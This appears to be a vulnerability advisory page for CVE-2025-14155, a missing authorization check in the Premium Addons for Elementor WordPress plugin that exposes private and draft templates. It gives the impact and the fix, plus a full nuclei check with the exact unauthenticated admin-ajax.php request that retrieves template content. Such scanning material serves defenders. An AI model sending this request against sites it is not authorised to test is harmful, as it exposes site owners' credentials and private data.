Premium Addons for Elementor - Unauthenticated Information Disclosure

mediumseverity

5.3CVSS score

0.8%likelihood of exploitation, next 30 days

56%of all CVEs are less likely

Readycheck to confirm it

Premium Addons for Elementor plugin for WordPress version 4.11.53 and below contains an unauthenticated information disclosure vulnerability.The vulnerability exists due to a missing authorization check in the get_template_content() AJAX handler, allowing unauthenticated attackers to retrieve private, draft, and pending Elementor templates that may contain sensitive information such as API keys, credentials, customer data,or unpublished content.

Impact

Unauthenticated attackers can view private and unpublished template content, leading to sensitive data disclosure.

Fix

Update to the latest version beyond 4.11.53.

How to confirm it

Send: GET /wp-admin/admin-ajax.php?action=get_elementor_template_content&templateID={{template_id}}&is_id=true
Positive when: contains "\"success\":true" and "\"template_content\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-14155 -u <target>

The full check

id: CVE-2025-14155

info:
  name: Premium Addons for Elementor - Unauthenticated Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    Premium Addons for Elementor plugin for WordPress version 4.11.53 and below contains an unauthenticated information disclosure vulnerability.The vulnerability exists due to a missing authorization check in the get_template_content() AJAX handler, allowing unauthenticated attackers to retrieve private, draft, and pending Elementor templates that may contain sensitive information such as API keys, credentials, customer data,or unpublished content.
  impact: |
    Unauthenticated attackers can view private and unpublished template content, leading to sensitive data disclosure.
  remediation: |
    Update to the latest version beyond 4.11.53.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14155
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/135c33bb-5ec2-4697-9340-1d2651ff3a0b?source=cve
    - https://plugins.trac.wordpress.org/browser/premium-addons-for-elementor/tags/4.11.53/includes/addons-integration.php#L1624
    - https://plugins.trac.wordpress.org/changeset/3416254/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-14155
    cwe-id: CWE-862
    epss-score: 0.00764
    epss-percentile: 0.55718
    cpe: cpe:2.3:a:leap13:premium_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: leap13
    product: premium_addons_for_elementor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/premium-addons-for-elementor/"
  tags: cve,cve2025,wordpress,wp-plugin,premium-addons-elementor,unauth,disclosure,wp,vkev

variables:
  template_id: "{{rand_int(1, 100)}}"

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=get_elementor_template_content&templateID={{template_id}}&is_id=true HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"template_content"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from